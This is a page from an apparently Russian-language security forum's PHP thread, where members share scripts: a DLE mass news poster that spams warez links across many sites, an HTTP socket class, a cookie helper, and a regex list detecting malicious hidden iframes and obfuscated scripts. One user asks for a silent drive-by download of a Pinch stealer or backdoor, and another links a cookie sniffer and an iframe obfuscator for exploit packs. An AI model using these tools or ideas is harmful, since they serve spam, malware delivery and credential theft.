HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > ПРОГРАММИРОВАНИЕ > PHP
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #361  
Старый 21.05.2008, 18:04
Kaimi
Reservists Of Antichat - Level 6
Регистрация: 23.08.2007
Сообщений: 1,237
Провел на форуме:
18127311

Репутация: 1676


Отправить сообщение для Kaimi с помощью ICQ
По умолчанию

Сойдет?
http://rapidshare.com/files/116525700/sender.php
 
Ответить с цитированием

  #362  
Старый 21.05.2008, 18:47
coo1io
Новичок
Регистрация: 13.04.2008
Сообщений: 19
Провел на форуме:
470460

Репутация: 7
По умолчанию

Warning: fread(): supplied argument is not a valid stream resource in /home/tu2.ru/c/co/coolio/htdocs/www/0.php on line 27

Warning: array_unique() [function.array-unique]: The argument should be an array in /home/tu2.ru/c/co/coolio/htdocs/www/0.php on line 47
Рассылка завершена!
Отправлено : 0 Ошибок связи: 0 Плохих email: 0
 
Ответить с цитированием

  #363  
Старый 24.05.2008, 11:17
GrAmOzEkA
Участник форума
Регистрация: 25.06.2006
Сообщений: 220
Провел на форуме:
2052669

Репутация: 178
По умолчанию

Для тех кто зарабатывает на дипозите

Скрипт для массового добавления новостей на сайты сделанные на движке DLE:

index.php
PHP код:
<?php

set_magic_quotes_runtime
(0);

@
set_time_limit(0);

@
ini_set('max_execution_time',0);

echo 
'<title>DLE News Adder Modification QJokeR</title><body bgcolor=ffff99><font size="6">

<font color="#333399">Сайт Для Добавления Новостей QJokeR<a href="?admin">(сайты)</a></font></font><hr><center>'
;

function 
lower($text){
return 
strtolower(strtr($text,'АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЬЫЪЭЮЯ','абвгдеёжзийклмнопрстуфхцчшщьыъэюя'));
}


function 
getcat($text,$find){
if (!
$find){
return 
0;
}
$temp=substr($text,0,strpos(lower($text), lower($find)."</option>"));
if (
$temp){
$cat=substr($temp,strrpos($temp'="')+2,2);
if (!
preg_match('/^[0-9]+$/i'$cat)) {return substr($cat,0,1);}
return 
$cat;
}
}


function 
senddata($post,$host,$cook,$pic){
$data="$post\r\n\r\n";
@
$fpfsockopen($host,80,$err,$errs,50);
if (!
$fp) {echo "<b>$host недоступен!</b><br>";return(1);}
$out"POST /";
if (
$pic==2) {$out.="transload.php";} else {$out.="?do=addnews";}
$out.=" HTTP/1.1\r\nHost: $host\r\nCookie: $cook\r\n".
"Content-Type: application/x-www-form-urlencoded\r\nContent-Length: ".
strlen($data)."\r\nConnection: close\r\n\r\n$data\r\n\r\n";
fwrite($fp$out);
while (!
feof($fp)){
$line .= fread($fp1024);
}
fclose($fp);
return 
$line;
}



function 
sendnews($host,$mode,$how){
global 
$img$title;

$date=time();
$logfile=date("d_m_y",$date);
$logfile.=".txt";
$fplog fopen($logfile"a");
fputs ($fplog$title."\n");

$line=senddata('login_name='.$_POST['login'].'&login_password='.$_POST['pass'].'&login=submit&image.x=0&image.y',$host,0,0);
if (
$line!=1) {
if (
strpos($line,'К сожалению у вас нет прав для публикации новостей')){
$messege1="Новость НЕ добавлена на $host !";
echo 
"<b>".$messege1."</b><br>";
fputs ($fplog$messege1."\n");
return(
1);
}
preg_match("|dle_hash=([\d\w]+);|i",$line,$try);
$cat=getcat($line,$_POST['find']);
if (!
$cat) {$cat=getcat($line,$_POST['find2']);}
if (!
$cat) {$cat=getcat($line,$_POST['find3']);}
if (!
$cat) {$cat=getcat($line,$_POST['find4']);}
if (!
$cat) {$cat=getcat($line,$_POST['find5']);}
if (!
$cat) {$cat=getcat($line,$_POST['find6']);}
if (!
$cat) {$cat=getcat($line,$_POST['find7']);}
if (!
$cat) {$cat=getcat($line,$_POST['find8']);}
if (!
$cat) {$cat=getcat($line,$_POST['find9']);}
if (!
$cat) {$cat=getcat($line,$_POST['find10']);}
if (!
$cat) {$cat=1;}
if (!
$img) {
$story=$_POST['story'];
}else{
$story="[center][img]".$img."[/img][/center]\r\n\r\n".$_POST['story'];
}
$url="".$_POST['link']."";
$send="mod=addnews&catlist[]=$cat&title=".$_POST['title']."&short_story=$story&full_story=";
if (!
$mode) {
$send.="$story\r\n\r\n";
}
if (
$_POST['link']) {
if (!
$how) {
$send.="".$url."<br><br>";
}else{
$send.="".$url."<br><br>";
}
}
$url="[center][url=".$_POST['link2']."][b]Скачать[/b][/url][/center]";
if (
$_POST['link2']){
if (!
$how) {$send.="[hide]".$url."[/hide]<br>";
}else{
$send.="[quote]".$url."[/quote]<br>";}
}

$url="[center][url=".$_POST['link3']."][b]Зеркало №1[/b][/url][/center]";
if (
$_POST['link3']){
if (!
$how){
$send.="[hide]".$url."[/hide]<br>";
}else{
$send.="[quote]".$url."[/quote]<br>";
}
}

$url="[center][url=".$_POST['link4']."][b]Зеркало №2[/b][/url][/center]";
if (
$_POST['link4']){
if (!
$how){
$send.="[hide]".$url."[/hide]<br>";
}else{
$send.="[quote]".$url."[/quote]<br>";
}
}

$url="[center][url=".$_POST['link5']."]Зеркало №3[/url][/center]";
if (
$_POST['link5']){
if (!
$how){
$send.="[hide]".$url."[/hide]";
}else{
$send.="[quote]".$url."[/quote]";
}
}

$url="[center][url=".$_POST['link6']."]Зеркало №4[/url][/center]";
if (
$_POST['link6']){
if (!
$how){
$send.="[hide]".$url."[/hide]";
}else{
$send.="[quote]".$url."[/quote]";
}
}

$url="[center][url=".$_POST['link7']."]Зеркало №5[/url][/center]";
if (
$_POST['link7']){
if (!
$how){
$send.="[hide]".$url."[/hide]";
}else{
$send.="[quote]".$url."[/quote]";
}
}

$send.='&allow_comm='.$_POST['allow_comm'].'&allow_main='.$_POST['allow_main'].'&approve='.$_POST['approve'].
'&allow_rating='.$_POST['allow_rating'].'&news_fixed='.$_POST['news_fixed'];
$line=senddata($send,$host,"dle_password=".md5($_POST['pass'])."; member_password=".md5($_POST['pass']).
"; dle_name=".$_POST['login']."; member_name=".$_POST['login']."; dle_hash=$try[1]",0);

if (isset(
$_GET['debug'])){
echo 
$line;
}

if (
strpos($line,'Ваша новость была успешно добавлена')){ 
$messege2="Новость успешно добавлена на $host";
echo 
$messege2;
fputs ($fplog$messege2."\n");
if (
$cat==1){
echo 
" (Категория по умолчанию)";
}
echo 
"!<br>";
}
}
fclose ($fplog);
}

if (isset(
$_POST['text'])){
$w=fopen('sites.php','w');
fwrite($w,stripslashes($_POST['text']));
die (
'Сохранено!');
}

if (isset(
$_GET['admin'])){
$w=fopen('sites.php','r');
die (
'<form method=post>
<textarea name=text cols=70 rows=24>'
.htmlspecialchars(fread($w,filesize('sites.php'))).'</textarea><br>
<input type=submit value=Отправить>'
);
}



if (
$_POST['title'] && $_POST['story'] && $_POST['pass'] && $_POST['login']) {
$img=$_POST['pic'];
$title=$_POST['title'];
if (
$_POST['imgsh'] && $_POST['pic']){
$img=senddata("url=".$_POST['pic']."&MAX_FILE_SIZE=13145728&optsize=320x320&uploadtype=on&optimage=1""imageshack.us",0,2);
$img=strstr(strstr($img,'image to friends'),'http:');
$img=substr($img,0,strpos($img,'"/>'));
if (
$img){
echo 
"Картинка залита на ImageShack.us! Ссылка - $img<br><br>";
}else{
$img=$_POST['pic'];
}
}

include(
'sites.php');
exit;
}
echo 
'
<form method=post>

Логин \ Пароль:<br><input type="text" name="login" > <input type="password" name="pass" ><br>

Заголовок:<br><input type="text" name="title"><br>

Категория:<br><input type="text" name="find" value="софт"> или <input type="text" name="find2" value="software">

 или <input type="text" name="find3" value="warez"> или <input type="text" name="find4" value="программы">

 или <input type="text" name="find5" value="soft"> или <input type="text" name="find6" value="софтик"> или <input type="text" name="find7" value="разное">
 
  или <input type="text" name="find8" value="варез"> или <input type="text" name="find9" value="Софт / Soft"> или <input type="text" name="find10" value="новости"><br>Картинка:<br>

<input type="checkbox" name="imgsh" value="1" unchecked> На ImageShack.us<br>

<input type="text" name="pic"  size=45><br>Новость:<br><textarea name="story" cols=65 rows=12>
<br>Информация о Софте
[b]Название[/b]: Vista Optimizer 4.4.17
[b]Категория[/b]: Софт
[b]Год выпуска[/b]: 2008
[b]Размер файла[/b]: 5,15 МБ
Кол-во партов: 1
[b]Залито на[/b]: DepositFiles | letitbit | Vip-file</textarea>

<br>Продолжение Новости:<br><textarea name="link" cols=65 rows=12></textarea>

<br>Ссылка:<br><input type="text" name="link2" size=60><br>

<br>Ссылка:<br><input type="text" name="link3" size=60><br>

<br>Ссылка:<br><input type="text" name="link4" size=60><br>

<br>Ссылка:<br><input type="text" name="link5" size=60><br>

<br>Ссылка:<br><input type="text" name="link6" size=60><br>

<br>Ссылка:<br><input type="text" name="link7" size=60><br>



<input type="checkbox" name="allow_comm" value="1" checked> Разрешить комментарии<br>

<input type="checkbox" name="allow_main" value="1" checked> Публиковать на главной<br>

<input type="checkbox" name="approve" value="1" checked> Опубликовать новость на сайте<br>

<input type="checkbox" name="allow_rating" value="1" checked> Разрешить рейтинг<br>

<input type="checkbox" name="news_fixed" value="1"> Зафиксировать новость<br><br>

<input type=submit value=Отправить>  

</form>'
;
sites.php
PHP код:
<?php



//////////     Пример :

// sendnews('Сюда пишем хост(без http://)',0 если в строке

// "полная новость" нада цитировать сообщение из короткой новости, а 1

// если не нада,0 и ссылки закрываются [hide] или 1 и [quote]);

//

sendnews ('1-warez.org',0,1);
sendnews ('13mb.ru',0,1);
sendnews ('1lv.lv',0,1);
sendnews ('4ort.net.ru',0,1);
sendnews ('afil.ru',0,1);
sendnews ('allbest4free.ru',0,1);
sendnews ('allwarez.net',0,1);
sendnews ('apelsinoff.net',0,1);

?>
QJokeR (c)
 
Ответить с цитированием

  #364  
Старый 24.05.2008, 13:22
d_x
Reservists Of Antichat - Level 6
Регистрация: 25.03.2008
Сообщений: 670
Провел на форуме:
4137635

Репутация: 2407


По умолчанию

Универсальная функция для получения cookies из заголовка ответа сервера. Возвращает строку, которую можно сразу вставлять в заголовок Cookie.

PHP код:
function get_ret_cookie($res)
{
  
preg_match_all('/Set-Cookie: (.+);/iUs',$res,$cook);
  if(!isset(
$cook[1])) return '';

  
$cookies=implode('; ',array_unique($cook[1]));
  return 
$cookies;

PS. NOmeR1, спасибо за совет)

Последний раз редактировалось d_x; 24.05.2008 в 13:35..
 
Ответить с цитированием

  #365  
Старый 24.05.2008, 14:21
AkyHa_MaTaTa
Постоянный
Регистрация: 19.03.2007
Сообщений: 684
Провел на форуме:
3152874

Репутация: 1020


Отправить сообщение для AkyHa_MaTaTa с помощью ICQ
По умолчанию

Коментируем не нужный ифреймы( те что width height =1,0) и некоторые с обфускачией с покоцаных сайтов:
PHP код:

function remove_kod($file){
if(empty(
$file){
$text=file_get_contents($file);
$patern[0]="<iframe(.*)WIDTH=(\"|')(1|0|00)((\"|'))(.*)HEIGHT=((\"|'))(1|0|00)((\"|'))(.*)>(.*)</iframe>";
$patern[9]="<iframe(.*)WIDTH=(1|0|00)(.*)HEIGHT=(1|0|00)(.*)>(.*)</iframe>";
$patern[1]="<--oc65-->(.*)<--oc65-->";
$patern[2]="<-- ~ -->(.*)<-- ~ -->";
$patern[3]="<script(.*)>eval\(unescape(.*)\)</script>";
$patern[4]="<script(.*)>document.write\(unescape(.*)\)</script>";
$patern[5]="<script(.*)>(.*)(\n)*(.*)document.write\(String.fromCharCode\(Math.round\((.*)\)\)\)(.*)</script>";
$patern[6]="<script(.*)>((\n)*.*)(\n)?document.write\((.*)\.join\((.*)\)\)(.*)</script>";
$patern[8]="<script(.*)>document.write\(eval\(unescape(.*)\)\)(.*)</script>";
$out =$text;
foreach(
$patern as $keys){
$outpreg_replace_callback("#($keys)#i"create_function('$matches','return "<!---- $matches[0] --->";'),$out);}
return 
$out;}} 
 
Ответить с цитированием

Работаем с Keep-alive и HTTP/1.1
  #366  
Старый 24.05.2008, 21:16
d_x
Reservists Of Antichat - Level 6
Регистрация: 25.03.2008
Сообщений: 670
Провел на форуме:
4137635

Репутация: 2407


Arrow Работаем с Keep-alive и HTTP/1.1

Написал класс для работы с http. Поддерживает keep-alive и close соединение и корректно обрабатывает данные, полученные по HTTP/1.1 с Transfer-Encoding: chunked. HTTP/1.0 также работает.
Требуется поддержка функций socket_***.

Код класса с комментариями:
PHP код:
<?php
/* WEBsock class by DX */

class websock
{
  
/*все переменные private*/
  
var $sock;
  var 
$connection=0;
  var 
$keepalive=300;
  var 
$request='';
  var 
$browser='Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0';
  var 
$proto='1.0';
  var 
$addr='';
  var 
$success=0;


  
/*** Конструктор. $addr - адрес или IP сайта, $port - порт. ***/

  
function websock($addr,$port=80)
  {
    if(!
function_exists('socket_create'))
      return;

    
$this->addr=$addr;

    if(!
preg_match("/^(\d{1,3}\.){3}\d{1,3}$/",$addr))
      
$addr=gethostbyname($addr);

    if(!
$addr) return;

    
$this->sock=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);

    if(!
$this->sock)
      return;

    if(!
socket_connect($this->sock,$addr,$port)) return;
    if(!
socket_set_nonblock($this->sock)) return;

    
$this->success=1;
  }


  
/*** Проверка успешности создания сокета и подключения к нему. ***/

  
function check_success()
  {
    return 
$this->success;
  }


  
/*** Запись в сокет. $data - данные для записи в сокет. Возвращает число байт, записанных в сокет. Если $data не указано, то будет записаны заголовки, созданные функцикей get_header() (см. ниже). ***/

  
function swrite($data='')
  {
    if(!
$data$data=$this->request;

    if(
socket_select($r=NULL,$w=array($this->sock),$f=NULL,5)!=1)
      return 
false;

    return 
socket_write($this->sock,$data);
  }


  
/*** Чтение $bytes байт из сокета. Возвращает считанный контент. ***/

  
function sread($bytes)
  {
    if(
socket_select($r=array($this->sock),$w=NULL,$f=NULL,5)!=1)
      return 
false;

    return 
socket_read($this->sock,$bytes);
  }


  
/*** Чтение из сокета всего доступного содержимого. Эта функция не работает с HTTP/1.1. $stepbytes - сколько байтов считывать за раз. Возвращает считанный контент. ***/

  
function sreadfull($stepbytes=128)
  {
    
$reading='';

    while((
$ret=$this->sread($stepbytes))!='')
    {
      
$reading.=$ret;
    }

    
$reading=$this->get_content_headers($reading);

    return 
$reading;
  }


  
/*** Установка типа соединения. $conn==0 - close, $conn==1 - keep-alive; $keepalive - время поддержки соединения. ***/

  
function set_connection($conn=0,$keepalive=300)
  {
    
$this->connection=$conn==1;
    
$this->keepalive=$keepalive;
  }

  function 
set_proto($proto='1.0'//set 1.0 or 1.1
  
{
    
$this->proto=$proto;
  }


  
/*** Универсальная функция чтения из сокета, читает правильно независимо от типа соединения. Возвращает массив: $c[0] - заголовки, $c[1] - содержимое ***/

  
function http11read($stepbytes=128)
  {
    
$c=$this->sreadfull($stepbytes);

    if(
strpos($c[0],'Transfer-Encoding: chunked')!==false)
      return array(
$c[0],$this->remove_lengths($c[1]));
    else
      return 
$c;
  }


  
/*** Получение cookies из заголовка ответа сервера и представление их в виде, удобном для вставки в заголовок Cookie. ***/
  /*** $header - заголовок ответа сервера; $ret==0 - будет возвращена строка для заголовка Cookie, $ret==1 - будет возвращён массив cookies. ***/

  
function get_cookie($header,$ret=0)
  {
    
preg_match_all('/Set-Cookie: (.+);/iUs',$header,$cook);
    if(!isset(
$cook[1])) return $ret=='' : array();

    
$carr=array_unique($cook[1]);

    
$cookies=implode('; ',$carr);
    return 
$ret==$cookies $carr;
  }


  
/*** Обрабатывает страницу с Transfer-encoding: chunked. Возвратит страницу без разбиений. ***/

  
function remove_lengths($res)
  {
    
$len=1;
    
$nlen=0;
    
$curlen=0;
    
$ret='';

    
$tmp=explode("\r\n",$res);

    foreach(
$tmp as $line)
    {
      if(
$len==1)
      {
        if(
$line=="\r\n")
        {
          
$ret.=$line."\r\n";
          continue;
        }

        
$nlen=base_convert($line,16,10);
        if(
$nlen==0) continue;
        
$len=0;
        
$curlen=0;
        continue;
      }

      
$curlen+=strlen($line."\r\n");

      
$ret.=$line."\r\n";

      if(
$curlen>=$nlen)
      {
        
$len=1;
        continue;
      }
    }

    return 
$ret;
  }


  
/*** Разбивает полученные данные на заголовок и содержимое. $res - весь контент. Возвратит массив: $ret[0] - заголовки, $ret[1] - содержимое. ***/

  
function get_content_headers($res)
  {
    
$ret=explode("\r\n\r\n",$res,2);
    return 
$ret;
  }


  
/*** Устанавливает виртуальный браузер. ***/

  
function set_browser($browser='Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0')
  {
    
$this->browser=$browser;
  }


  
/*** Формирует заголовки для записи в сокет. ***/
  /*** $service_uri - SERVICE_URI. Например, для http://site.com/aaa/bbb.php это /aaa/bbb.php ***/
  /*** $page - страница. Для примера выше это site.com. Если сокет был создан как new websock('site.com'), то страницу можно не указывать. Если же как new websock('1.2.3.4'), то необходимо указывать. ***/
  /*** $data - передаваемые скрипту данные (только для POST) ***/
  /*** $method - GET/POST и т.д. ***/
  /*** $cookie - cookies в виде строки ***/
  /*** $ref - Referer ***/
  /*** $addheaders - дополнительные заголовки, которые мы хотим установить ***/
  /***  Возвращает запрос и устанавливает его как запрос по умолчанию. ***/

  
function get_header($service_uri,$page='',$data='',$method='GET',$cookie='',$ref='',$addheaders='')
  {
    if(!
$page$page=$this->addr;
    
$request="$method $service_uri HTTP/{$this->proto}\r\n";
    
$request.="Host: $page\r\n";
    if(
$this->browser$request.="User-Agent: {$this->browser}\r\n";
    if(
$ref$request.="Referer: $ref\r\n";

    if(
$method=='POST')
    {
      
$request.="Content-Type: application/x-www-form-urlencoded\r\n";
      
$request.="Content-Length: ".strlen($data)."\r\n";
    }

    if(
$this->connection==0)
    {
      
$request.="Connection: close\r\n";
    }
    else
    {
      
$request.="Keep-alive: {$this->keepalive}\r\n";
      
$request.="Connection: keep-alive\r\n";
    }

    if(
$addheaders)
      
$request.=$addheaders;

    if(
$cookie)
      
$request.="Cookie: $cookie\r\n";

    
$request.="\r\n";

    
$request.=$data;

    
$this->request=$request;

    return 
$request;
  }


  
/*** Закрывает соединение ***/

  
function sclose()
  {
    return 
socket_close($this->sock);
  }


  
/*** Возвращает последнюю ошибку работы с сокетами. ***/

  
function serr()
  {
    return 
socket_last_error($this->sock);
  }
}

?>

Пример работы с классом:
PHP код:
<?php
/* скрипт получает страницу http://mail.ru через HTTP/1.1 и Connection: keep-alive. */

require_once("websock.php"); //подключение файла с классом

$s=new websock('mail.ru',80); //создание нового сокета: http://mail.ru:80

$s->set_connection(1,300); //keep-alive: 300
$s->set_proto('1.1'); //HTTP 1.1

$s->get_header('/'); //формируем заголовок для запроса к серверу (получаем корень http://mail.ru/)

$s->swrite(); //пишем его в сокет

$ret=$s->http11read(); //универсальная функция чтения из сокета, неважно, какие заданы параметры подключения. Читаем всё возвращённое содержимое.

print $ret[1]; //$ret[0] - заголовки, $ret[1] - содержимое

$s->sclose(); //закрываем соединение
?>
 
Ответить с цитированием

  #367  
Старый 27.05.2008, 21:54
d_x
Reservists Of Antichat - Level 6
Регистрация: 25.03.2008
Сообщений: 670
Провел на форуме:
4137635

Репутация: 2407


По умолчанию

Обновил класс из предыдущего поста, теперь можно удобно работать с прокси.

Код класса:
PHP код:
<?php
/* WEBsock class by DX */

class websock
{
  
/*все переменные private*/
  
var $sock;
  var 
$connection=0;
  var 
$keepalive=300;
  var 
$request='';
  var 
$browser='Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0';
  var 
$proto='1.0';
  var 
$addr='';
  var 
$success=0;
  var 
$proxy='';
  var 
$pport=0;
  var 
$port=0;
  var 
$s_addr='';
  var 
$s_port=0;


  
/*** Конструктор. $addr - адрес или IP сайта, $port - порт. ***/

  
function websock($addr,$port=80)
  {
    if(!
function_exists('socket_create'))
      return;

    
$this->addr=$addr;
    
$this->s_addr=$addr;
    
$this->s_port=$port;

    if(!
preg_match("/^(\d{1,3}\.){3}\d{1,3}$/",$addr))
      
$addr=gethostbyname($addr);

    if(!
$addr) return;

    
$this->sock=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);

    if(!
$this->sock)
      return;

    
$this->success=1;
  }


  
/*** Подключает сокет (через прокси или напрямую). ***/

  
function sconnect()
  {
    if(
$this->proxy)
    {
      if(!
socket_connect($this->sock,$this->proxy,$this->pport)) return;
    }
    else
    {
      if(!
socket_connect($this->sock,$this->s_addr,$this->s_port)) return;
    }

    if(!
socket_set_nonblock($this->sock)) return;
  }


  
/*** Устанавливает прокси с ip $addr и портом $port. ***/

  
function set_proxy($addr,$port)
  {
    
$this->proxy=$addr;
    
$this->pport=$port;
  }


  
/*** Проверка успешности создания сокета и подключения к нему. ***/

  
function check_success()
  {
    return 
$this->success;
  }


  
/*** Запись в сокет. $data - данные для записи в сокет. Возвращает число байт, записанных в сокет. Если $data не указано, то будет записаны заголовки, созданные функцикей get_header() (см. ниже). ***/

  
function swrite($data='')
  {
    if(!
$data$data=$this->request;

    if(
socket_select($r=NULL,$w=array($this->sock),$f=NULL,5)!=1)
      return 
false;

    return 
socket_write($this->sock,$data);
  }


  
/*** Чтение $bytes байт из сокета. Возвращает считанный контент. ***/

  
function sread($bytes)
  { 
    if(
socket_select($r=array($this->sock),$w=NULL,$f=NULL,5)!=1)
      return 
false;

    return 
socket_read($this->sock,$bytes);
  }


  
/*** Чтение из сокета всего доступного содержимого. Эта функция не работает с HTTP/1.1. $stepbytes - сколько байтов считывать за раз. Возвращает считанный контент. ***/

  
function sreadfull($stepbytes=128)
  {
    
$reading='';

    while((
$ret=$this->sread($stepbytes))!='')
    {
      
$reading.=$ret;
    }

    
$reading=$this->get_content_headers($reading);

    return 
$reading;
  }


  
/*** Установка типа соединения. $conn==0 - close, $conn==1 - keep-alive; $keepalive - время поддержки соединения. ***/

  
function set_connection($conn=0,$keepalive=300)
  {
    
$this->connection=$conn==1;
    
$this->keepalive=$keepalive;
  }

  function 
set_proto($proto='1.0'//set 1.0 or 1.1
  
{
    
$this->proto=$proto;
  }


  
/*** Универсальная функция чтения из сокета, читает правильно независимо от типа соединения. Возвращает массив: $c[0] - заголовки, $c[1] - содержимое ***/

  
function http11read($stepbytes=128)
  {
    
$c=$this->sreadfull($stepbytes);

    if(
strpos($c[0],'Transfer-Encoding: chunked')!==false)
      return array(
$c[0],$this->remove_lengths($c[1]));
    else
      return 
$c;
  }


  
/*** Получение cookies из заголовка ответа сервера и представление их в виде, удобном для вставки в заголовок Cookie. ***/
  /*** $header - заголовок ответа сервера; $ret==0 - будет возвращена строка для заголовка Cookie, $ret==1 - будет возвращён массив cookies. ***/

  
function get_cookie($header,$ret=0)
  {
    
preg_match_all('/Set-Cookie: (.+);/iUs',$header,$cook);
    if(!isset(
$cook[1])) return $ret=='' : array();

    
$carr=array_unique($cook[1]);

    
$cookies=implode('; ',$carr);
    return 
$ret==$cookies $carr;
  }


  
/*** Обрабатывает страницу с Transfer-encoding: chunked. Возвратит страницу без разбиений. ***/

  
function remove_lengths($res)
  {
    
$len=1;
    
$nlen=0;
    
$curlen=0;
    
$ret='';

    
$tmp=explode("\r\n",$res);

    foreach(
$tmp as $line)
    {
      if(
$len==1)
      {
        if(
$line=="\r\n")
        {
          
$ret.=$line."\r\n";
          continue;
        }

        
$nlen=base_convert($line,16,10);
        if(
$nlen==0) continue;
        
$len=0;
        
$curlen=0;
        continue;
      }

      
$curlen+=strlen($line."\r\n");

      
$ret.=$line."\r\n";

      if(
$curlen>=$nlen)
      {
        
$len=1;
        continue;
      }
    }

    return 
$ret;
  }


  
/*** Разбивает полученные данные на заголовок и содержимое. $res - весь контент. Возвратит массив: $ret[0] - заголовки, $ret[1] - содержимое. ***/

  
function get_content_headers($res)
  {
    
$ret=explode("\r\n\r\n",$res,2);
    return 
$ret;
  }


  
/*** Устанавливает виртуальный браузер. ***/

  
function set_browser($browser='Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0')
  {
    
$this->browser=$browser;
  }


  
/*** Формирует заголовки для записи в сокет. ***/
  /*** $service_uri - SERVICE_URI. Например, для http://site.com/aaa/bbb.php это /aaa/bbb.php ***/
  /*** $page - страница. Для примера выше это site.com. Если сокет был создан как new websock('site.com'), то страницу можно не указывать. Если же как new websock('1.2.3.4'), то необходимо указывать. ***/
  /*** $data - передаваемые скрипту данные (только для POST) ***/
  /*** $method - GET/POST и т.д. ***/
  /*** $cookie - cookies в виде строки ***/
  /*** $ref - Referer ***/
  /*** $addheaders - дополнительные заголовки, которые мы хотим установить ***/
  /***  Возвращает запрос и устанавливает его как запрос по умолчанию. ***/

  
function get_header($service_uri,$page='',$data='',$method='GET',$cookie='',$ref='',$addheaders='')
  {
    if(!
$page$page=$this->addr;

    if(
$this->proxy)
      
$request="$method http://{$this->s_addr}:{$this->s_port} HTTP/{$this->proto}\r\n";
    else
      
$request="$method $service_uri HTTP/{$this->proto}\r\n";

    
$request.="Host: $page\r\n";
    if(
$this->browser$request.="User-Agent: {$this->browser}\r\n";
    if(
$ref$request.="Referer: $ref\r\n";

    if(
$method=='POST')
    {
      
$request.="Content-Type: application/x-www-form-urlencoded\r\n";
      
$request.="Content-Length: ".strlen($data)."\r\n";
    }

    if(
$this->connection==0)
    { 
      
$request.="Connection: close\r\n";
    }
    else
    {
      
$request.="Keep-alive: {$this->keepalive}\r\n";
      
$request.="Connection: keep-alive\r\n";
    }

    if(
$addheaders)
      
$request.=$addheaders;

    if(
$cookie)
      
$request.="Cookie: $cookie\r\n";

    
$request.="\r\n";

    
$request.=$data;

    
$this->request=$request;

    return 
$request;
  }


  
/*** Закрывает соединение ***/

  
function sclose()
  {
    return 
socket_close($this->sock);
  }


  
/*** Возвращает последнюю ошибку работы с сокетами. ***/

  
function serr()
  {
    return 
socket_last_error($this->sock);
  }
}

?>
Пример получения страницы через прокси:
PHP код:
<?php
/* скрипт получает страницу http://myip.ru через HTTP/1.1 и Connection: keep-alive, используя прокси */

require_once("websock.php"); //подключение файла с классом

$s=new websock('myip.ru',80); //создание нового сокета: http://myip.ru:80


//впишите здесь рабочий прокси
$s->set_proxy('203.162.2.139','80'); //устанавливаем адрес прокси-сервера и порт (можно убрать эту строку, тогда прокси не будет использоваться)

$s->sconnect(); //подключаем сокет

$s->set_connection(1,300); //keep-alive: 300
$s->set_proto('1.1'); //HTTP 1.1

$s->get_header('/'); //формируем заголовок для запроса к серверу (получаем корень http://myip.ru/)

$s->swrite(); //пишем его в сокет

$ret=$s->http11read(); //универсальная функция чтения из сокета, неважно, какие заданы параметры подключения. Читаем всё возвращённое содержимое.

print $ret[1]; //$ret[0] - заголовки, $ret[1] - содержимое

$s->sclose(); //закрываем соединение
?>
 
Ответить с цитированием

  #368  
Старый 01.06.2008, 06:40
BlackSun
Members of Antichat - Level 5
Регистрация: 01.04.2007
Сообщений: 1,268
Провел на форуме:
10046345

Репутация: 4589


По умолчанию

Небольшой сниффер куков:
http://rapidshare.com/files/119211590/sniffer.rar

Простенький скрипт для кодирования-декодирования
{
Base64 Encode
Base64 Decode
URL Encode
URL Decode
MD5 Encode
SHA1 Encode
ASCII -> HEX
HEX -> ASCII
ASCII -> String.fromCharCode()
String.fromCharCode() -> ASCII
ASCII -> chr()
chr() -> ASCII
ASCII -> DEC
DEC -> ASCII
RUS -> Translit
ASCII -> Bin
Bin -> ASCII
ASCII -> 0xHEX
StrLength
CRC32 calc
URL -> iFrame (Level 0)
IFrame crupt (Level 2 [FirePack 0.18])
IFrame crupt (Level 2 [IcePack])
IFrame crupt (Level 3 [IcePack])
IFrame crupt [TORNADO Crupt]
/etc/passwd -> login;login
}
Делал каг панельку для оперы, поэтому style="width:100%"
http://rapidshare.com/files/119213017/www.rar
 
Ответить с цитированием

  #369  
Старый 02.06.2008, 03:46
Daro
Новичок
Регистрация: 21.04.2008
Сообщений: 21
Провел на форуме:
354059

Репутация: 29
Отправить сообщение для Daro с помощью ICQ
По умолчанию

Кто небудь выложите скрипт ( php ) при помщи которого можно произвести анонимную загрузку фаила! Или кто может подправте мой!

<?php
$ref=$_SERVER['QUERY_STRING'];
if ($ref!='') $ref='?'.$ref;
header('Location: http://*********.$ref);
exit();


Этот скрипт грузит но толко выскакивает окно (dowlad или скачать)
Помогите усовершенствовать этот скрипт чтоб пройдя по сылке человек даже не заподозрил что он что-то скачал и запустил например Пинч или какой небудь BackDoor!
Или выложите пожалуста свой!
Зарание Спасибо!
 
Ответить с цитированием

  #370  
Старый 02.06.2008, 11:23
Sharky
Познавший АНТИЧАТ
Регистрация: 01.05.2006
Сообщений: 1,021
Провел на форуме:
3424739

Репутация: 921


Отправить сообщение для Sharky с помощью ICQ
По умолчанию

Цитата:
Сообщение от Daro  
Кто небудь выложите скрипт ( php ) при помщи которого можно произвести анонимную загрузку фаила! Или кто может подправте мой!

<?php
$ref=$_SERVER['QUERY_STRING'];
if ($ref!='') $ref='?'.$ref;
header('Location: http://*********.$ref);
exit();


Этот скрипт грузит но толко выскакивает окно (dowlad или скачать)
Помогите усовершенствовать этот скрипт чтоб пройдя по сылке человек даже не заподозрил что он что-то скачал и запустил например Пинч или какой небудь BackDoor!
Или выложите пожалуста свой!
Зарание Спасибо!
обсуждалось много раз..ищи под каждый брауезер свой сплойт...иначе не сделаешь ты ничего подобного
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




